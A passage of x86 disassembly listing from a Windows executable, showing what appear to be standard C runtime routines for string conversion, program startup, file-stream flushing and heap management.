		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419B21
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_419B2A
; ---------------------------------------------------------------------------


loc_419B21:				; CODE XREF: sub_419A9C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_419B2A:				; CODE XREF: sub_419A9C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4D8788
		call	sub_41E3D5
		add	esp, 20h
		test	eax, eax
		jz	short loc_419AF9
		cmp	eax, esi
		jnz	short loc_419B55
		movzx	eax, [ebp+var_4]
		jmp	short loc_419B62
; ---------------------------------------------------------------------------


loc_419B55:				; CODE XREF: sub_419A9C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_419B62:				; CODE XREF: sub_419A9C+16j
					; sub_419A9C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419A9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B67	proc near		; CODE XREF: sub_415679+ADp
					; sub_4165F1+55p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_419B7E


loc_419B74:				; CODE XREF: sub_419B67+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_419B74


loc_419B7E:				; CODE XREF: sub_419B67+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_419B67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B84	proc near		; CODE XREF: sub_415679+7Fp
					; sub_415679+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419C51
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419C7E
		cmp	dword_4D8788, esi
		jnz	short loc_419BD5
		cmp	edi, esi
		jbe	loc_419C7E


loc_419BB4:				; CODE XREF: sub_419B84+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419C7E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_419BB4
		jmp	loc_419C7E
; ---------------------------------------------------------------------------


loc_419BD5:				; CODE XREF: sub_419B84+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_423164
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4D8798
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_419C7D
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_419C0F


loc_419C00:				; CODE XREF: sub_419B84+CBj
					; sub_419B84+F7j
		mov	dword_4D86D0, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419C7E
; ---------------------------------------------------------------------------


loc_419C0F:				; CODE XREF: sub_419B84+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_419C17:				; CODE XREF: sub_419B84+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419C39
		mov	edx, off_43AB80
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419C2E
		inc	eax


loc_419C2E:				; CODE XREF: sub_419B84+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419C17


loc_419C39:				; CODE XREF: sub_419B84+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4D8798
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_419C7E
		jmp	short loc_419C00
; ---------------------------------------------------------------------------


loc_419C51:				; CODE XREF: sub_419B84+Fj
		cmp	dword_4D8788, esi
		jnz	short loc_419C64
		push	[ebp+arg_4]
		call	sub_4176F0
		pop	ecx
		jmp	short loc_419C7E
; ---------------------------------------------------------------------------


loc_419C64:				; CODE XREF: sub_419B84+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4D8798
		call	dword_423164	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_419C00


loc_419C7D:				; CODE XREF: sub_419B84+6Bj
		dec	eax


loc_419C7E:				; CODE XREF: sub_419B84+1Aj
					; sub_419B84+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419B84	endp

; ---------------------------------------------------------------------------


loc_419C83:				; CODE XREF: nsp1:004DB447j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423708
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_423198	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4D86E8, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4D86E4, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4D86E0, ecx
		shr	eax, 10h
		mov	dword_4D86DC, eax
		xor	esi, esi
		push	esi
		call	sub_419FAD
		pop	ecx
		test	eax, eax
		jnz	short loc_419CEF
		push	1Ch
		call	sub_419D9E
		pop	ecx


loc_419CEF:				; CODE XREF: nsp0:00419CE5j
		mov	[ebp-4], esi
		call	sub_41EC38
		call	dword_423194	; GetCommandLineA
		mov	dword_4D9D64, eax
		call	sub_41EB06
		mov	dword_4D8740, eax
		call	sub_41E8B9
		call	sub_41E800
		call	sub_417C94
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_423190	; GetStartupInfoA
		call	sub_41E7A8
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_419D3C
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_419D3F
; ---------------------------------------------------------------------------


loc_419D3C:				; CODE XREF: nsp0:00419D34j
		push	0Ah
		pop	eax


loc_419D3F:				; CODE XREF: nsp0:00419D3Aj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_42309C	; GetModuleHandleA
		push	eax
		call	sub_401221
		mov	[ebp-60h], eax
		push	eax
		call	sub_417CC1
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_41E624
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417CD2

; =============== S U B	R O U T	I N E =======================================



sub_419D79	proc near		; CODE XREF: sub_419552+16p
					; sub_41E800+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4D8748, 1
		jnz	short loc_419D87
		call	sub_41EEC4


loc_419D87:				; CODE XREF: sub_419D79+7j
		push	[esp+arg_0]
		call	sub_41EEFD
		push	0FFh
		call	off_43AB70
		pop	ecx
		pop	ecx
		retn
sub_419D79	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D9E	proc near		; CODE XREF: nsp0:00419CE9p

arg_0		= dword	ptr  4

		cmp	dword_4D8748, 1
		jnz	short loc_419DAC
		call	sub_41EEC4


loc_419DAC:				; CODE XREF: sub_419D9E+7j
		push	[esp+arg_0]
		call	sub_41EEFD
		pop	ecx
		push	0FFh
		call	dword_423064	; ExitProcess
		retn
sub_419D9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DC2	proc near		; CODE XREF: sub_41776B+2Ap
					; sub_41F514+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4D9B20
		jnb	loc_419E5C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_419E5C
		push	edi
		call	sub_41F1D6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419E3B
		cmp	edi, 1
		jz	short loc_419E09
		cmp	edi, 2
		jnz	short loc_419E1F


loc_419E09:				; CODE XREF: sub_419DC2+40j
		push	2
		call	sub_41F1D6
		push	1
		mov	ebp, eax
		call	sub_41F1D6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_419E3B


loc_419E1F:				; CODE XREF: sub_419DC2+45j
		push	edi
		call	sub_41F1D6
		pop	ecx
		push	eax
		call	dword_423068	; CloseHandle
		test	eax, eax
		jnz	short loc_419E3B
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_419E3D
; ---------------------------------------------------------------------------


loc_419E3B:				; CODE XREF: sub_419DC2+3Bj
					; sub_419DC2+5Bj ...
		xor	ebp, ebp


loc_419E3D:				; CODE XREF: sub_419DC2+77j
		push	edi
		call	sub_41F15C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_419E58
		push	ebp
		call	sub_41BEC4
		pop	ecx
		jmp	short loc_419E6D
; ---------------------------------------------------------------------------


loc_419E58:				; CODE XREF: sub_419DC2+8Bj
		xor	eax, eax
		jmp	short loc_419E70
; ---------------------------------------------------------------------------


loc_419E5C:				; CODE XREF: sub_419DC2+Ej
					; sub_419DC2+2Fj
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_419E6D:				; CODE XREF: sub_419DC2+94j
		or	eax, 0FFFFFFFFh


loc_419E70:				; CODE XREF: sub_419DC2+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_419DC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E75	proc near		; CODE XREF: sub_41776B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_419E9E
		test	al, 8
		jz	short loc_419E9E
		push	dword ptr [esi+8]
		call	sub_4177C1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_419E9E:				; CODE XREF: sub_419E75+Aj
					; sub_419E75+Ej
		pop	esi
		retn
sub_419E75	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EA0	proc near		; CODE XREF: sub_419F40+2Dp
					; sub_419F40+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_419EB2
		push	esi
		call	sub_419F40
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419EB2:				; CODE XREF: sub_419EA0+7j
		push	esi
		call	sub_419EDB
		test	eax, eax
		pop	ecx
		jz	short loc_419EC2
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419EC2:				; CODE XREF: sub_419EA0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_419ED7
		push	dword ptr [esi+10h]
		call	sub_41F213
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419ED7:				; CODE XREF: sub_419EA0+26j
		xor	eax, eax
		pop	esi
		retn
sub_419EA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EDB	proc near		; CODE XREF: sub_41776B+1Ap
					; sub_4196EC+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_419F28
		test	ax, 108h
		jz	short loc_419F28
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_419F28
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41F26A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_419F21
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_419F28
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_419F28
; ---------------------------------------------------------------------------


loc_419F21:				; CODE XREF: sub_419EDB+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_419F28:				; CODE XREF: sub_419EDB+14j
					; sub_419EDB+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_419EDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F37	proc near		; CODE XREF: sub_41F4BCp
		push	1
		call	sub_419F40
		pop	ecx
		retn
sub_419F37	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F40	proc near		; CODE XREF: sub_419EA0+Ap
					; sub_419F37+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4D9A00, esi
		jle	short loc_419F9E


loc_419F51:				; CODE XREF: sub_419F40+5Cj
		mov	eax, dword_4D89E0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_419F95
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_419F95
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_419F7B
		push	eax
		call	sub_419EA0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419F95
		inc	ebx
		jmp	short loc_419F95
; ---------------------------------------------------------------------------


loc_419F7B:				; CODE XREF: sub_419F40+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_419F95
		test	cl, 2
		jz	short loc_419F95
		push	eax
		call	sub_419EA0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419F95
		or	edi, eax


loc_419F95:				; CODE XREF: sub_419F40+1Bj
					; sub_419F40+23j ...
		inc	esi
		cmp	esi, dword_4D9A00
		jl	short loc_419F51


loc_419F9E:				; CODE XREF: sub_419F40+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_419FA9
		mov	eax, edi


loc_419FA9:				; CODE XREF: sub_419F40+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FAD	proc near		; CODE XREF: nsp0:00419CDDp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4231A0	; HeapCreate
		test	eax, eax
		mov	dword_4D9D60, eax
		jz	short loc_419FE2
		call	sub_419FE9
		test	eax, eax
		jnz	short loc_419FE5
		push	dword_4D9D60
		call	dword_42319C	; HeapDestroy


loc_419FE2:				; CODE XREF: sub_419FAD+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419FE5:				; CODE XREF: sub_419FAD+27j
		push	1
		pop	eax
		retn
sub_419FAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FE9	proc near		; CODE XREF: sub_419FAD+20p
		push	140h
		push	0
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4D9D5C, eax
		jnz	short loc_41A006
		retn
; ---------------------------------------------------------------------------


loc_41A006:				; CODE XREF: sub_419FE9+1Aj
		and	dword_4D9D54, 0
		and	dword_4D9D58, 0
		push	1
		mov	dword_4D9D50, eax
		mov	dword_4D9D48, 10h
		pop	eax
		retn
sub_419FE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A027	proc near		; CODE XREF: sub_4177C1+Ap
					; sub_4178D8+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4D9D58
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4D9D5C
		lea	ecx, [eax+ecx*4]


loc_41A037:				; CODE XREF: sub_41A027+26j
		cmp	eax, ecx
		jnb	short loc_41A04F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41A051
		add	eax, 14h
		jmp	short loc_41A037
; ---------------------------------------------------------------------------


loc_41A04F:				; CODE XREF: sub_41A027+12j
		xor	eax, eax

locret_41A051:				; CODE XREF: sub_41A027+21j
		retn
sub_41A027	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A052	proc near		; CODE XREF: sub_4177C1+16p
					; sub_4178D8+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_41A118
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_41A0AA
		mov	[ebp+arg_4], edi


loc_41A0AA:				; CODE XREF: sub_41A052+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_41A0FC
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41A0D8
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41A0FC
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_41A0FC
; ---------------------------------------------------------------------------


loc_41A0D8:				; CODE XREF: sub_41A052+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41A0FC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_41A0FC:				; CODE XREF: sub_41A052+60j
					; sub_41A052+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_41A118:				; CODE XREF: sub_41A052+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_41A126
		push	3Fh
		pop	edi


loc_41A126:				; CODE XREF: sub_41A052+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41A1D5
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41A151
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41A151:				; CODE XREF: sub_41A052+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41A163
		mov	edi, edx


loc_41A163:				; CODE XREF: sub_41A052+10Dj
		cmp	ecx, edi
		jz	short loc_41A1D2
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_41A1BA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41A196
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41A1BA
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_41A1BA
; ---------------------------------------------------------------------------


loc_41A196:				; CODE XREF: sub_41A052+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41A1BA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_41A1BA:				; CODE XREF: sub_41A052+11Ej
					; sub_41A052+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_41A1D2:				; CODE XREF: sub_41A052+113j
		mov	edx, [ebp+var_8]


loc_41A1D5:				; CODE XREF: sub_41A052+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41A1E4
		cmp	[ebp+arg_4], edi
		jz	loc_41A26D


loc_41A1E4:				; CODE XREF: sub_41A052+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A26D
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41A241
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A230
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A230:				; CODE XREF: sub_41A052+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_41A26A
; ---------------------------------------------------------------------------


loc_41A241:				; CODE XREF: sub_41A052+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A257
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A257:				; CODE XREF: sub_41A052+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_41A26A:				; CODE XREF: sub_41A052+1EDj
		mov	ebx, [ebp+var_C]


loc_41A26D:				; CODE XREF: sub_41A052+18Cj
					; sub_41A052+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_41A378
		mov	eax, dword_4D9D54
		test	eax, eax
		jz	loc_41A36A
		mov	ecx, dword_4D9D4C
		mov	edi, dword_4231A4
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_4D9D4C
		mov	eax, dword_4D9D54
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4D9D54
		mov	ecx, dword_4D9D4C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4D9D54
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4D9D54
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41A2F8
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4D9D54


loc_41A2F8:				; CODE XREF: sub_41A052+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41A36A
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_4D9D54
		push	dword ptr [eax+10h]
		push	0
		push	dword_4D9D60
		call	dword_423178	; RtlFreeHeap
		mov	eax, dword_4D9D58
		mov	edx, dword_4D9D5C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4D9D54
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_419190
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4D9D58
		cmp	eax, dword_4D9D54
		jbe	short loc_41A35C
		sub	eax, 14h


loc_41A35C:				; CODE XREF: sub_41A052+305j
		mov	ecx, dword_4D9D5C
		mov	dword_4D9D50, ecx
		jmp	short loc_41A36D
; ---------------------------------------------------------------------------


loc_41A36A:				; CODE XREF: sub_41A052+233j
					; sub_41A052+2AAj
		mov	eax, [ebp+arg_0]


loc_41A36D:				; CODE XREF: sub_41A052+316j
		mov	dword_4D9D54, eax
		mov	dword_4D9D4C, esi


loc_41A378:				; CODE XREF: sub_41A052+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A37D	proc near		; CODE XREF: sub_4178D8+69p
					; sub_417A69+Ep ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4D9D58
		mov	edx, dword_4D9D5C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41A3BD
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41A3CD
; ---------------------------------------------------------------------------


loc_41A3BD:				; CODE XREF: sub_41A37D+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41A3CD:				; CODE XREF: sub_41A37D+3Ej
		mov	eax, dword_4D9D50
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A3F4


loc_41A3DB:				; CODE XREF: sub_41A37D+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A3F4
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41A3DB


loc_41A3F4:				; CODE XREF: sub_41A37D+5Cj
					; sub_41A37D+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41A472
		mov	ebx, edx


loc_41A3FB:				; CODE XREF: sub_41A37D+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A417
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A415
		add	ebx, 14h
		jmp	short loc_41A3FB
; ---------------------------------------------------------------------------


loc_41A415:				; CODE XREF: sub_41A37D+91j
		cmp	ebx, eax


loc_41A417:				; CODE XREF: sub_41A37D+83j
		jnz	short loc_41A472


loc_41A419:				; CODE XREF: sub_41A37D+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41A42F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A42C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41A419
; ---------------------------------------------------------------------------


loc_41A42C:				; CODE XREF: sub_41A37D+A5j
		cmp	ebx, [ebp+var_4]


loc_41A42F:				; CODE XREF: sub_41A37D+9Fj
		jnz	short loc_41A457
		mov	ebx, edx


loc_41A433:				; CODE XREF: sub_41A37D+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A447
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A445
		add	ebx, 14h
		jmp	short loc_41A433
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A37D+C1j
		cmp	ebx, eax


loc_41A447:				; CODE XREF: sub_41A37D+BBj
		jnz	short loc_41A457
